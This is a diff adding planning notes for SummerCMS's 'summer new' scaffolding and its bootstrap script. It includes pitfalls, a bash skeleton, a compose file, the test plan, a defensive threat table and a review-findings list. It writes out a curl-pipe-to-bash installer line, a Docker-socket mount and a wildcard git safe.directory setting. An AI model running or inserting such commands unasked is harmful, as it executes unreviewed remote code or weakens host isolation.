+Local toolchain reports `go1.27.0-X:nodwarf5` [VERIFIED: `go env GOVERSION`]; release candidates look like `go1.27rc1`; dev builds start with `devel`. Parse with `[[ $v =~ ^go([0-9]+)\.([0-9]+) ]]`; treat no match as "unknown" (warn, continue or fail — planner's call). Run it from a directory without `go.mod` so `GOTOOLCHAIN=auto` does not switch toolchains during the check.
+
+### Pitfall 9: GOBIN/GOPATH
+`go install` writes to `$GOBIN`, else the **first** element of `$GOPATH` + `/bin` (GOPATH may be a list). Host: `GOBIN=/home/jin/go/bin` [VERIFIED: `go env`]. The script must invoke `summer new` via the absolute `"$gobin/summer"` and print `export PATH="$gobin:$PATH"` when `":$PATH:"` lacks it. In the root container this is `/root/go/bin`, not on PATH by default.
+
+### Pitfall 10: Postgres not ready yet
+`docker compose up -d` returns before PostgreSQL accepts connections; `lagoon` opens once. **Avoid:** healthcheck in `compose.yaml` and next steps `docker compose up -d --wait` (compatible with D-15's step). [ASSUMED: `--wait` available in compose v2.1+; host has 5.5.0]
+
+### Pitfall 11: Docker socket mount in the acceptance container
+With `-v /var/run/docker.sock:/var/run/docker.sock`, `docker compose up` starts the DB on the **host** daemon: (a) the published `127.0.0.1:<port>` is the host's loopback, so the acceptance container needs `--network host`; (b) bind mounts in `compose.yaml` would resolve host paths — use a **named volume** only; (c) the compose project name defaults to the directory name `sm-demo-app` and would collide with a real host project of that name — set a unique `COMPOSE_PROJECT_NAME` (or demo name) and `docker compose down -v` in cleanup; (d) the host port must be free. [ASSUMED: standard Docker behaviour]
+
+### Pitfall 12: Cloning a host checkout inside a root container
+`git clone /fw x` with a host-owned bind mount fails: `fatal: detected dubious ownership in repository at '/fw'` [VERIFIED: empirical in node:24-bookworm]. **Avoid:** `git config --global --add safe.directory '*'` in the throwaway container, or clone from a bare mirror created inside the container. The clone only sees **committed** HEAD and tags.
+
+### Pitfall 13: Tags vs. testing before v0.1.13
+Before `v0.1.13` exists, "latest tag" = `v0.1.12`, which has no `summer new`. **Avoid:** a `SUMMERCMS_REF` override (tag or commit, skips latest-tag selection) for pre-tag acceptance; optionally exercise tag selection with a bare mirror + throwaway tag (e.g. `v9.9.9`) in the gated script test.
+
+### Pitfall 14: Release-build coupling on the site
+`scripts/build.sh` (release) takes the framework version from the app's `go.mod` (`go list -m -f '{{.Version}}' git.golem15.com/golem15/summercms`) and refuses if that tag is missing [VERIFIED: ../sm-summercmsio-app/scripts/build.sh:56-66]. The app requires `v0.1.12` and the site plugin `require git.golem15.com/golem15/summercms v0.1.12` [VERIFIED: grep go.mod files]. Serving `<pkg>.Script()` needs both bumped to `v0.1.13` **after** the tag exists; the docs embedded in the site are also built from that tag. Therefore every framework change of this phase (generator, script, docs, tests) must land before tagging `v0.1.13`; the site require bump and `/new` route go last; the site plugin can be developed against the local framework with `scripts/build.sh dev`.
+
+## Bootstrap script design (Q10)
+
+Reference read (pattern only): msd-core `scripts/bootstrap.sh` — `main() { set -euo pipefail; ... }` / `main "$@"`, env overrides `MSD_REPO/MSD_REF/MSD_HOME`, `--help` heredoc, refuses update when `git status --porcelain --untracked-files=no` is non-empty, `say()` helper with colored `==>` [VERIFIED: read from a scratch clone of https://git.golem15.com/golem15/msd-core, branch `next`; clone deleted afterwards]. Its update step does `fetch` + `checkout --detach FETCH_HEAD` (not fast-forward checked) — this phase needs a stricter rule (D-16).
+
+Recommended semantics (D-16 settled):
+
+| State of `$dir` | Action |
+|-----------------|--------|
+| does not exist | `git clone --quiet "$repo" "$dir"`; pick tag; `git -c advice.detachedHead=false -C "$dir" checkout --quiet --detach "refs/tags/$tag"` |
+| exists, not a git repo or `go.mod` module ≠ `git.golem15.com/golem15/summercms` | refuse: "… is not a SummerCMS framework checkout; set SUMMERCMS_DIR" |
+| tracked local changes (`git status --porcelain --untracked-files=no` non-empty) | refuse, do not reset |
+| HEAD on a branch (`git symbolic-ref -q HEAD` succeeds) | refuse: "on branch X; the installer manages a detached release checkout — use SUMMERCMS_DIR for a separate clone, or run `summer new --framework` yourself" |
+| detached | `git fetch --quiet --tags origin` (no `--force`: git refuses to clobber a moved tag); pick newest tag; if `HEAD` = tag commit → nothing; elif `git merge-base --is-ancestor HEAD "refs/tags/$tag"` → checkout tag; else refuse (not a fast-forward) |
+
+- Tag discovery on fresh clone can also use `git ls-remote --tags --refs --sort=-v:refname "$repo" 'v*'` (verified against the public remote: newest `refs/tags/v0.1.12`) [VERIFIED: empirical]; the public HTTPS remote answers without credentials [VERIFIED: `git ls-remote`]. Full clone is small: packs 10.5 MiB, 1000 commits [VERIFIED: `git count-objects -vH`]; shallow clones complicate the ancestry check — use a full clone.
+- Env overrides (D-17): `SUMMERCMS_REPO` (default `https://git.golem15.com/golem15/summercms`), `SUMMERCMS_DIR` (default `./summercms`, relative to cwd), `SUMMERCMS_REF` (pin a tag/commit; skips "latest tag").
+- Always call `summer new "$name" --framework "$dir"` from `$(dirname "$dir")`-equivalent cwd (explicit beats detection; detection still works for manual use).
+- Validate `$name` in the script with the same regex for an early error before cloning; also fail early if `sm-$name-app` already exists in cwd.
+- Docker: `command -v docker` and `docker compose version` → warning only.
+- Next steps printed (by the script or by `summer new`, not both): `cd sm-<name>-app`, `docker compose up -d --wait`, `summer build`, `summer migrate`, `summer serve`, then `curl http://127.0.0.1:8080/`.
+
+### Container acceptance (D-20)
+`node:24-bookworm` has git 2.39.5, bash 5.2.15, curl; **no** jq, docker or go; runs as root [VERIFIED: docker run]. Host Docker CLI is dynamically linked (do not bind-mount it) [VERIFIED: `file /usr/bin/docker`]. Recommended: `docker run --rm --network host -v /var/run/docker.sock:/var/run/docker.sock -v <fw>:/fw:ro node:24-bookworm bash -c '...'` that installs jq (`apt-get install -y jq`), the Go 1.27.0 tarball from go.dev, and the Docker CLI + compose plugin (Docker static binaries or Docker's apt repo), sets `safe.directory`, serves/reads the script (`bash /fw/modules/<pkg>/new.sh demo` or `python3 -m http.server`/`curl file://`), sets `SUMMERCMS_REPO=/fw SUMMERCMS_REF=<commit>`, then runs the D-20 chain with `summer serve &` and a curl retry loop on the starter route, then `docker compose down -v`. go1.27.0 tarball exists (302 to dl.google.com); current Go is 1.27.1 [VERIFIED: curl go.dev/dl]. [ASSUMED: exact Docker CLI install method — pick one in the plan]
+
+## Site plugin, docs, landing page (Q7-Q9)
+
+### Q7. Site plugin routing
+- `Routes` registers inside `r.GroupRaw("", nil, func(g pact.Router) { g.Get("/docs", …); g.Get("/docs/{path...}", docs.ServeHTTP); g.Get("/", site.ServeHTTP) })` [VERIFIED: plugins/golem15/summercms/plugin.go:43-62]. Add `g.Get("/new", …)` there; `GET /new` is more specific than the catch-all `GET /`, and Go's ServeMux serves HEAD for GET patterns (existing tests check HEAD on `/`) [VERIFIED: routes_test.go:36-47].
+- Plugin imports framework packages via `require git.golem15.com/golem15/summercms v0.1.12` + `replace … => ../../../../summercms.go` [VERIFIED: plugin go.mod]. Needs `v0.1.13` (Pitfall 14).
+- Headers: reuse `file{body, etag, ctype}` with ctype `"text/plain; charset=utf-8"` (already the `.txt` mapping), `Cache-Control: no-cache` + strong ETag, and `setCommonHeaders` (`X-Content-Type-Options: nosniff`, `Referrer-Policy`) [VERIFIED: static.go:17-47, 140-147, 187-221]. No robots-blocking header, no CSP (site contract).
+- nginx: `location ^~ /backend { return 404; }` and `location / { limit_except GET HEAD { deny all; } proxy_pass http://127.0.0.1:8095; … }`; `gzip_types` includes `text/plain` [VERIFIED: deploy/nginx/summercms.io.conf:62-83]. No nginx change needed. Today `https://summercms.io/new` returns `404 text/html` [VERIFIED: curl], so `curl -f` fails cleanly until deploy. The Nuxt app has only `app/pages/index.vue` — no `/new` collision [VERIFIED: ls].
+- Tests to extend: `TestRoutesAssemble` cases table (add `GET /new` 200 body = script, `HEAD /new`, `POST /new` 405) [VERIFIED: routes_test.go:26-69]; plugin `README.md` route table (lines 11-15).
+
+### Q8. Docs pipeline
+- `docsite.Check(Options{Root, Commands: docsCommands()})`; `TestDocsTree` reports every problem [VERIFIED: cmd/summer/docs_test.go:24-34]. Command names in shell fences and code spans are checked: a line counts when it starts with `summer`, `go run ./cmd/summer`, `./bin/<x>` or `bin/<x>`; segments are split on `&&`, `||`, `;`, `|`; `--` ends flag parsing (so `summer serve -- --addr …` is not checked) [VERIFIED: internal/docsite/check_commands.go:33-34, 108-151]. `curl -fsSL https://summercms.io/new | bash -s -- demo` is not checked (neither segment starts with a known program). `docker compose …` lines are ignored.
+- `llms.txt`/`llms-full.txt` are emitted by `docs:build` (`s.outputs["llms.txt"] = s.llmsTxt()`, `llms-full.txt` concatenates pages in reading order) [VERIFIED: internal/docsite/emit.go:165-166, 228-259]; they are **not committed** in the framework (`git ls-files | grep -i llms` empty; `/site/` ignored) — they are regenerated by the site build from the tag. "Regenerate" in this phase = `summer docs:build --out <tmp>` and check the one-liner and `summer new` appear in `llms-full.txt`; `TestDocsBuildRealTree` already asserts both files exist [VERIFIED: docs_test.go:52-72]. `site.yaml` `llms_notes` could gain a note about `summer new` (optional) [VERIFIED: docs/site.yaml:7-11].
+- Pages: `docs/setup/installation.md` (order 20; currently clone → `go install` → `examples/hello`; contains the obsolete "Known issues" warning at the end) [VERIFIED: file read]; `docs/architecture/go-modules-and-workspaces.md` (shows `replace … => ../summercms.go`; says `plugin:add` "adds the plugin directory to the nearest `go.work`") [VERIFIED]; `docs/console/scaffolding.md` has "Building and watching", "Creating a plugin", "Generating plugin parts" — add "Creating an application" with `summer new` [VERIFIED: headings grep].
+
+### Q9. Landing page and TestTerminalCommands
+- Single source: `vue-summercmsio-app/app/data/terminal.json` (3 groups, 6 commands: `git clone https://git.golem15.com/golem15/summercms`, `cd summercms`, `go install ./cmd/summer`, `cd examples/hello`, `summer build`, `./bin/hello greeter:hello`) with comment keys `terminal.getFramework|installCli|buildExample` in `i18n/locales/en.json` [VERIFIED: files read].
+- Tests that pin today's content and must change together:
+  - `sm-summercmsio-app/terminal_check_test.go`: `terminalCloneURL` const, `TestLoadTerminal` asserts `len(groups) != 3 || commands != 6` and first command = clone, `TestTerminalScript` verbatim list, gated `TestTerminalCommands` (`SUMMERCMS_TERMINAL_CHECK=1`, runs `bash -euo pipefail -c <script>` in a temp dir with `terminalEnv` that drops `SUMMER_*`, `GOWORK`, `GOBIN` and puts a temp GOBIN first on PATH; expects `handled=true`) [VERIFIED: terminal_check_test.go:19-137, 160-190].
+  - `vue-summercmsio-app/tests/terminal.test.ts`: `copyPayload` equals the six-command string, `split('\n').length === 6` [VERIFIED].
+  - `vue-summercmsio-app/tests/output.test.ts`: "Get started shows the chips, the six commands…" and **"every en.json string is rendered on the page"** (`assertLeavesRendered(readIndex(), undefined, ['terminal.copied'])`) — removing a group requires removing its `en.json` key [VERIFIED: output.test.ts:190-216].
+  - Plugin `links_test.go` `TestTerminalCommandsInPage` (needs `SUMMERCMS_REQUIRE_BUILD`) checks every command and comment appears in the built page [VERIFIED: links_test.go:226-260].
+- Recommended new terminal content: group 1 `curl -fsSL https://summercms.io/new | bash -s -- demo`; group 2 `cd sm-demo-app`, `docker compose up -d --wait`; group 3 `summer build`, `summer migrate`, `summer serve`. The gated runner then needs: an override for the script source (e.g. `SUMMERCMS_NEW_URL` replacing the URL in the curl command, analogous to the clone-URL rewrite), passthrough of `SUMMERCMS_REPO/REF` (they survive `terminalEnv` because they are not `SUMMER_*`), a unique `COMPOSE_PROJECT_NAME` + `docker compose down -v` cleanup, and special handling of the blocking `summer serve` (run in background, curl the starter route, assert its JSON, kill). Keep `TestLoadTerminal`'s shape assertions updated to the new counts.
+
+## Code Examples
+
+### Go: relative `go work use`
+```go
+// Source: derived from internal/build/scaffold.go:322-329 (editAppModule prefix logic)
+rel, err := filepath.Rel(filepath.Dir(goWork), dir)
+if err != nil { return fmt.Errorf("build: go work use: %w", err) }
+rel = filepath.ToSlash(rel)
+if rel != "." && rel != ".." && !strings.HasPrefix(rel, "../") && !strings.HasPrefix(rel, "./") {
+	rel = "./" + rel
+}
+cmd := exec.CommandContext(ctx, "go", "work", "use", rel)
+cmd.Dir = filepath.Dir(goWork)
+```
+
+### Go: framework source candidate
+```go
+// Verified behaviour: absolute without -trimpath, module-relative with it.
+func binarySourceFramework() (string, bool) {
+	_, file, _, ok := runtime.Caller(0) // .../internal/build/new.go
+	if !ok || !filepath.IsAbs(file) {
+		return "", false
+	}
+	root := filepath.Dir(filepath.Dir(filepath.Dir(file)))
+	mod, _, err := parseGoMod(filepath.Join(root, "go.mod"))
+	return root, err == nil && mod == frameworkModule
+}
+```
+
+### Bash: skeleton
+```bash
+#!/usr/bin/env bash
+# SummerCMS bootstrap: curl -fsSL https://summercms.io/new | bash -s -- <name>
+# Everything lives in main() so a truncated download runs nothing.
+main() {
+	set -euo pipefail
+	export GIT_TERMINAL_PROMPT=0
+	local repo="${SUMMERCMS_REPO:-https://git.golem15.com/golem15/summercms}"
+	local dir="${SUMMERCMS_DIR:-summercms}" ref="${SUMMERCMS_REF:-}"
+	local name="${1:-}"
+	[[ $name =~ ^[a-z][a-z0-9]*$ ]] || { echo "usage: … | bash -s -- <name>  (lower-case letters and digits, starting with a letter)" >&2; exit 2; }
+	local v; v="$(cd / && go env GOVERSION 2>/dev/null || true)"
+	if [[ ! $v =~ ^go([0-9]+)\.([0-9]+) ]] || (( BASH_REMATCH[1] == 1 && BASH_REMATCH[2] < 27 )); then
+		echo "ERROR: SummerCMS needs Go 1.27 or newer (found: ${v:-none}). Install it from https://go.dev/dl/" >&2; exit 1
+	fi
+	# … clone/update (table above), go -C "$dir" install ./cmd/summer </dev/null,
+	# gobin=$(go env GOBIN); [[ -n $gobin ]] || { IFS=: read -r gp _ <<<"$(go env GOPATH)"; gobin="$gp/bin"; }
+	# "$gobin/summer" new "$name" --framework "$dir" </dev/null
+}
+main "$@"
+```
+(Skeleton values `SUMMERCMS_REPO/DIR/REF` are recommendations, `[ASSUMED]` names.)
+
+### compose.yaml shape
+```yaml
+services:
+  postgres:
+    image: postgres:16
+    environment:
+      POSTGRES_USER: summer
+      POSTGRES_PASSWORD: summer
+      POSTGRES_DB: <name>
+    ports:
+      - "127.0.0.1:<port>:5432"   # loopback only
+    volumes:
+      - pgdata:/var/lib/postgresql/data
+    healthcheck:
+      test: ["CMD-SHELL", "pg_isready -U summer -d <name>"]
+      interval: 2s
+      timeout: 3s
+      retries: 30
+volumes:
+  pgdata:
+```
+Values are discretionary; verified working DSN shape: `postgres://summer:summer@127.0.0.1:55439/summer?sslmode=disable` against `postgres:16` [VERIFIED: empirical]. Compose reads `.env` in the project dir for interpolation only; keep `.env` values unquoted and free of `$` (base64 keys and the DSN contain none). [ASSUMED: compose dotenv parsing details]
+
+## State of the Art
+
+| Old Approach | Current Approach | When Changed | Impact |
+|--------------|------------------|--------------|--------|
+| Hand-written go.mod/summer.yaml/config per docs | `summer new <name>` | this phase | Installation docs and landing page lead with the one-liner |
+| Landing page: clone + install + build `examples/hello` | `curl -fsSL https://summercms.io/new \| bash -s -- demo` | this phase | `terminal.json` + four test files change |
+| `plugin:add` writes absolute `go.work` paths | relative paths | this phase | Fix existing behaviour |
+
+**Deprecated/outdated:** the `installation.md` warning about a stale `examples/hello/main.go` (no longer true).
+
+## Assumptions Log
+
+| # | Claim | Section | Risk if Wrong |
+|---|-------|---------|---------------|
+| A1 | `//go:embed` forbids `..` path elements, so `scripts/new.sh` cannot be embedded from `modules/<pkg>` | Recommended Project Structure | Low — alternative is a Go package in `scripts/` itself |
+| A2 | `pipefail` + early-exiting `head`/`awk` can yield SIGPIPE exit 141 | Pitfall 6 | Low — the capture-to-variable approach is safe regardless |
+| A3 | `docker compose up -d --wait` waits for the healthcheck | Pitfall 10 | Low — fall back to a retry loop |
+| A4 | Docker socket mount behaviour (host network, host paths, project-name collisions) | Pitfall 11 | Medium — acceptance harness may need adjusting |
+| A5 | Script env names `SUMMERCMS_REPO/DIR/REF` and the new-module name | Bootstrap design | Low — naming only |
+| A6 | Compose `.env` interpolation tolerates the generated `.env` | compose.yaml | Low — values verified free of `$` |
+| A7 | Exact Docker CLI install method for node:24-bookworm | Container acceptance | Low |
+
+## Open Questions (RESOLVED)
+
+1. **Denylist beyond D-02's regex (`main`, `internal`, Go keywords).** Known: they break the build (verified). Unclear: whether the user wants this stated in the public contract. Recommendation: reject them in `summer new` and mention the rule in docs and `--help`; confirm at the plan checkpoint. **RESOLVED:** D-22 (adopted).
+2. **Default DB port/credentials.** Recommendation: user/password `summer`/`summer`, DB `<name>`, a fixed non-5432 loopback host port (e.g. 54320–54399; optionally derived from the name to avoid clashes between several apps). Planner's call. **RESOLVED:** D-23; plan 01 picks 127.0.0.1:54320, summer/summer, DB <name>.
+3. **Where next steps are printed** (script vs `summer new`). Recommendation: `summer new` prints them (useful for manual runs); the script adds only the PATH hint. **RESOLVED:** D-24.
+4. **New module name** for the embedded script (e.g. `sunrise`) — planner's call; it needs a README and root table row. **RESOLVED:** D-26; plan 02 names it `sunrise`.
+5. **`go.sum` at the app root.** Not needed in workspace mode; running `go mod tidy` after `generate()` would add one for `GOWORK=off` builds. Recommendation: skip (matches both reference apps' reliance on `go.work`). **RESOLVED:** D-25.
+
+## Environment Availability
+
+| Dependency | Required By | Available | Version | Fallback |
+|------------|------------|-----------|---------|----------|
+| Go | everything | ✓ | go1.27.0-X:nodwarf5 | — |
+| git | generator git step, bootstrap | ✓ | 2.55.0 | `--no-git` |
+| Docker + compose | compose.yaml, acceptance, gated tests | ✓ | 29.7.2 / Compose 5.5.0 | skip gated tests with `-short` |
+| postgres:16 image | migrate/serve acceptance | ✓ | local image | pulled on demand |
+| node:24-bookworm image | D-20 acceptance | ✓ | local image | — |
+| shellcheck | script lint test | ✓ | 0.11.0 | `t.Skip` when absent |
+| jq | D-20 (listed prerequisite) | ✓ host / ✗ in node:24-bookworm | 1.x | `apt-get install jq` in container |
+| Network to proxy.golang.org | `go mod tidy` in `make:plugin` | ✓ | — | warm module cache |
+| https://git.golem15.com/golem15/summercms | bootstrap clone | ✓ public | tags up to v0.1.12 | `SUMMERCMS_REPO` local path |
+
+**Missing dependencies with no fallback:** none.
+
+## Validation Architecture
+
+### Test Framework
+| Property | Value |
+|----------|-------|
+| Framework | Go stdlib `testing` (Go 1.27.0); node `node:test` in vue-summercmsio-app |
+| Config file | none |
+| Quick run command | `go test ./internal/build/ ./cmd/summer/ ./modules/lagoon/ ./modules/<pkg>/ -short` |
+| Full suite command | `go vet ./... && go test ./...` (framework root) + `go -C examples/hello test ./...` |
+
+### Per-plan commands
+
+| Plan | Behaviour | Test Type | Automated Command |
+|------|-----------|-----------|-------------------|
+| 1 Generator | `summer new demo` in a temp parent with a `summercms` symlink to the repo builds | smoke (real build) | `go test ./internal/build/ -run 'TestNewApp' -count=1` |
+| 1 | `summer new` wired in CLI, help shows flags | unit | `go test ./cmd/summer/ -run 'TestToolCommandNames' -count=1` |
+| 1 | `GenerateAppKey` returns 44-char StdEncoding of 32 bytes; `key:generate` uses it | unit | `go test ./modules/lagoon/ -run 'Key' -short -count=1` |
+| 1 | plugin:add writes relative `go.work` paths | unit | `go test ./internal/build/ -run 'TestMakeAndAddPluginOnHelloCopy' -count=1` |
+| 1 | hello gap fixed | integration | `go -C examples/hello test ./... -count=1` |
+| 2 Script | shebang, `main "$@"` last line, `bash -n`, shellcheck, truncation runs nothing, name validation, tag selection on a temp repo | unit + gated e2e | `go test ./modules/<pkg>/ -count=1` ; gated: `SUMMERCMS_BOOTSTRAP_CHECK=1 go test ./modules/<pkg>/ -run TestBootstrapEndToEnd -count=1` |
+| 2 Site route | `GET /new` 200 `text/plain; charset=utf-8`, body = `Script()`, HEAD ok, POST 405, nosniff, ETag/no-cache | unit | `go -C ../sm-summercmsio-app/plugins/golem15/summercms test ./... -count=1` |
+| 2 Acceptance | D-20 container chain ends with starter route 200 | manual/gated | `bash scripts/check-phase14.3.sh --acceptance` (or the documented `docker run` command) |
+| 3 Docs | docs tree valid, `summer new` known command, llms-full contains one-liner | unit | `go test ./cmd/summer -run 'TestDocsTree|TestDocsBuildRealTree' -count=1` and `go run ./cmd/summer docs:build --check` |
+| 3 Landing | terminal.json shape, copy payload, page render | unit | `go -C ../sm-summercmsio-app test -run 'TestLoadTerminal|TestTerminalScript|TestTerminalEnv' .` ; `cd ../sm-summercmsio-app/vue-summercmsio-app && pnpm generate && pnpm test` |
+| 3 Landing (gated) | one-liner runs end to end | gated e2e | `SUMMERCMS_TERMINAL_CHECK=1 SUMMERCMS_NEW_URL=… SUMMERCMS_REPO=… go -C ../sm-summercmsio-app test -run TestTerminalCommands .` |
+| 4 Unit tests | golden output for every rendered file; name/denylist/existing-dir/framework-detection errors; relative replace; `--no-plugin`, `--no-git`; no-identity commit; cleanup on failure; real build (`-short` skip) | unit + golden | `go test ./internal/build/ -run 'TestNew' -count=1` ; update goldens: `go test ./internal/build/ -run TestNewGolden -update` |
+
+### Sampling Rate
+- **Per task commit:** quick run command above (~40s incl. real builds).
+- **Per plan:** full suite + the plan's sibling-repo command.
+- **Phase gate:** full suite green, docs check green, D-20 acceptance run recorded, before `/gsd-verify-work` and before tagging `v0.1.13`.
+
+### Wave 0 Gaps
+- [ ] `internal/build/testdata/new/` golden files + `-update` flag (no golden infra exists yet).
+- [ ] `modules/<pkg>/` package, README, tests (new).
+- [ ] Test helper to create `<tmp>/summercms` → repo-root symlink so the generated replace is deterministic (`../summercms`).
+- [ ] Optional `scripts/check-phase14.3.sh` acceptance runner.
+
+## Security Domain
+
+`security_enforcement` is absent from `.planning/config.json` (treated as enabled). Plan 2 gets the security-review agent (CONTEXT discretion).
+
+### Applicable ASVS Categories
+
+| ASVS Category | Applies | Standard Control |
+|---------------|---------|-----------------|
+| V2 Authentication | no | — |
+| V3 Session Management | no | — |
+| V4 Access Control | no | `/new` is public and read-only by design |
+| V5 Input Validation | yes | `<name>` regex + keyword/`main`/`internal` denylist before any path use; `--framework` resolved and verified by `go.mod` module path; all script variables quoted |
+| V6 Cryptography | yes (key gen) | `crypto/rand` via exported `lagoon.GenerateAppKey`; never hand-roll |
+| V10 Malicious Code / supply chain | yes | HTTPS only, `curl -fsSL` (fails on HTTP errors), script versioned by tag, tags fetched without `--force`, no `eval`, no `sudo` |
+| V12 Files and Resources | yes | refuse existing target; create only under cwd; `.env` mode 0600; no writes outside cwd and GOBIN |
+| V14 Configuration | yes | secrets only in `.env` (gitignored); `.env.example` placeholders; compose port bound to `127.0.0.1` |
+
+### Known Threat Patterns
+
+| Pattern | STRIDE | Standard Mitigation |
+|---------|--------|---------------------|
+| Truncated download executes partial script | Tampering | `main()` wrapper, call on last line (D-14); test truncations |
+| HTML error page piped to bash | Tampering | `curl -f`; today `/new` answers 404 so curl exits non-zero [VERIFIED] |
+| Browser renders script as HTML | Spoofing/XSS | `text/plain; charset=utf-8` + `X-Content-Type-Options: nosniff`; no user input reflected |
+| Moved/re-pointed upstream tag | Tampering | `git fetch --tags` without `--force` refuses to clobber an existing tag; ff-only check |
+| Credential prompt hang / leak | DoS/Info | `GIT_TERMINAL_PROMPT=0`, children with `</dev/null` |
+| Dev Postgres exposed on all interfaces (Docker bypasses host firewalls) | Info disclosure | publish on `127.0.0.1:<port>` only |
+| Secret committed | Info disclosure | `.env` in `.gitignore` before the first `git add -A`; golden test asserts `.env` not in the commit |
+| Path traversal via name | Tampering | regex excludes `/`, `.`; `underRoot` checks already in `MakePlugin` [VERIFIED: scaffold.go:62-64] |
+| Running the user's existing checkout code | Tampering | refuse dirty/branch checkouts instead of resetting (D-16) |
+
+## Sources
+
+### Primary (HIGH confidence)
+- Framework source read this session: `cmd/summer/{main,runtime,docs}.go`, `internal/build/{scaffold,build,manifest}.go`, `internal/build/stubs/plugin.tmpl`, `internal/build/build_test.go`, `cmd/summer/{main,docs}_test.go`, `modules/lagoon/{keygen,encrypted,commands,connection}.go`, `modules/lagoon/attach/bucket.go`, `modules/compass/{env,config}.go`, `modules/surf/{serve,router}.go`, `modules/cabana/http.go`, `modules/pact/capabilities.go`, `modules/bonfire/{command,output}.go`, `internal/docsite/{check_commands,emit}.go`, `docs/setup/installation.md`, `docs/architecture/go-modules-and-workspaces.md`, `docs/site.yaml`, `scripts/check-phase14.2.1.sh`.
+- Sibling repos: `../sm-bm-app` and `../sm-summercmsio-app` (`.gitignore`, `summer.yaml`, `go.work`, `go.mod`, `config/*.yaml`, `CLAUDE.md`, `scripts/build.sh`, `deploy/nginx/summercms.io.conf`, `terminal_check_test.go`, plugin `plugin.go`/`static.go`/`routes_test.go`/`links_test.go`, `vue-summercmsio-app/app/data/terminal.json`, `i18n/locales/en.json`, `tests/{terminal,output}.test.ts`).
+- Empirical runs (scratchpad): empty-plugin build/route:list/serve; full simulated `summer new` (make:plugin + plugin:add + starter routes) with migrate + serve + curl against `postgres:16`; fresh-clone rebuild; keyword/`main`/`internal` names; `go work use` relative vs absolute; `runtime.Caller` with/without `-trimpath`; `go version -m`; container git `safe.directory`; `git ls-remote --sort`.
+- msd-core `scripts/bootstrap.sh` (scratch clone of the public remote, reference only, deleted).
+
+### Secondary (MEDIUM confidence)
+- go.dev/dl availability of go1.27.0 / current go1.27.1 (curl).
+
+### Tertiary (LOW confidence)
+- General bash/Docker behaviours listed in the Assumptions Log.
+
+## Metadata
+
+**Confidence breakdown:**
+- Standard stack: HIGH — no new dependencies; all internals read and exercised.
+- Architecture: HIGH — the full generated layout was hand-built and served end to end.
+- Pitfalls: HIGH for the empirically reproduced ones (1, 3, 5, 12, 14, `--addr`, `✓` prefix); MEDIUM for Docker/compose harness details.
+
+**Research date:** 2026-10-08
+**Valid until:** 2026-11-07 (framework internals change quickly; re-check `internal/build` line numbers before executing)

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-REVIEW-DISPOSITION.md

@@ -0,0 +1,86 @@
+---
+phase: 14.3
+review: 14.3-REVIEW.md
+titles: json
+findings:
+  - id: CR-01
+    severity: critical
+    disposition: open
+    title: "A framework path containing whitespace writes an unparseable `go.mod`, and `--no-plugin` reports success"
+  - id: WR-01
+    severity: warning
+    disposition: open
+    title: "Ctrl+C during `summer new` leaves a partial `sm-<name>-app`, and every re-run is then refused"
+  - id: WR-02
+    severity: warning
+    disposition: open
+    title: "The bootstrap script accepts Go keywords, `main` and `internal`, then clones and installs before `summer new` refuses them"
+  - id: WR-03
+    severity: warning
+    disposition: open
+    title: "An invalid `SUMMERCMS_REF` on a fresh clone leaves a branch checkout that the next run refuses"
+  - id: WR-04
+    severity: warning
+    disposition: open
+    title: "The binary-source fallback can resolve into the Go module cache"
+  - id: WR-05
+    severity: warning
+    disposition: open
+    title: "Every generated application publishes PostgreSQL on the same fixed host port 54320"
+  - id: WR-06
+    severity: warning
+    disposition: open
+    title: "`go.work` is committed but `go.work.sum` is ignored, so a `--no-plugin` app commits no module checksums at all"
+  - id: WR-07
+    severity: warning
+    disposition: open
+    title: "`TestTerminalCommands` passes the developer's `SUMMERCMS_DIR` through to the script"
+  - id: WR-08
+    severity: warning
+    disposition: fixed
+    title: "The `--generator` gate stage stops `summer serve` but not the app binary it started"
+  - id: IN-01
+    severity: info
+    disposition: open
+    title: "The security-gate pin check accepts any cell containing the word \"gate\", and only an exact \"open\" status fails"
+  - id: IN-02
+    severity: info
+    disposition: open
+    title: "The git identity fallback treats name and email independently of the author/committer split and ignores `EMAIL`"
+  - id: IN-03
+    severity: info
+    disposition: open
+    title: "The framework-containment guard is purely lexical"
+  - id: IN-04
+    severity: info
+    disposition: open
+    title: "`SUMMERCMS_REF` silently accepts branch names, which never move forward on a re-run"
+  - id: IN-05
+    severity: info
+    disposition: open
+    title: "The existing-checkout path fetches from `origin` and ignores `SUMMERCMS_REPO` without saying so"
+  - id: IN-06
+    severity: info
+    disposition: open
+    title: "The site plugin requires framework v0.1.12, which has no `modules/sunrise`"
+  - id: IN-07
+    severity: info
+    disposition: open
+    title: "`validCommandName` now also admits `new` for application binaries"
+  - id: IN-08
+    severity: info
+    disposition: open
+    title: "The printed `cd` and next-step lines are not shell-quoted"
+  - id: IN-09
+    severity: info
+    disposition: open
+    title: "The app name has no length limit, but PostgreSQL truncates database names at 63 bytes"
+  - id: IN-10
+    severity: info
+    disposition: open
+    title: "`TestNewGitUsesConfiguredIdentity` never exercises a configured `user.name`/`user.email`"
+---
+
+# Phase 14.3 review disposition
+
+Every finding starts as `open`. Update each row to `fixed`, `deferred` or `wontfix` as it is triaged.

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-REVIEW.md

@@ -0,0 +1,270 @@
+---
+phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new
+reviewed: 2026-10-08T10:41:00Z
+depth: standard
+files_reviewed: 35
+files_reviewed_list:
+  - cmd/summer/main.go
+  - cmd/summer/main_test.go
+  - internal/build/new.go
+  - internal/build/new_test.go
+  - internal/build/new_golden_test.go
+  - internal/build/build_test.go
+  - internal/build/scaffold.go
+  - internal/build/stubs/new.tmpl
+  - internal/build/stubs/plugin.tmpl
+  - modules/bonfire/command.go
+  - modules/bonfire/command_test.go
+  - modules/lagoon/keygen.go
+  - modules/lagoon/keygen_test.go
+  - modules/sunrise/new.sh
+  - modules/sunrise/sunrise.go
+  - modules/sunrise/sunrise_test.go
+  - modules/sunrise/script_behavior_test.go
+  - scripts/check-phase14.3.sh
+  - examples/hello/config/http.yaml
+  - README.md
+  - modules/bonfire/README.md
+  - modules/lagoon/README.md
+  - modules/sunrise/README.md
+  - docs/setup/installation.md
+  - docs/architecture/go-modules-and-workspaces.md
+  - docs/console/scaffolding.md
+  - docs/console/introduction.md
+  - docs/site.yaml
+  - ../sm-summercmsio-app/plugins/golem15/summercms/script.go
+  - ../sm-summercmsio-app/plugins/golem15/summercms/plugin.go
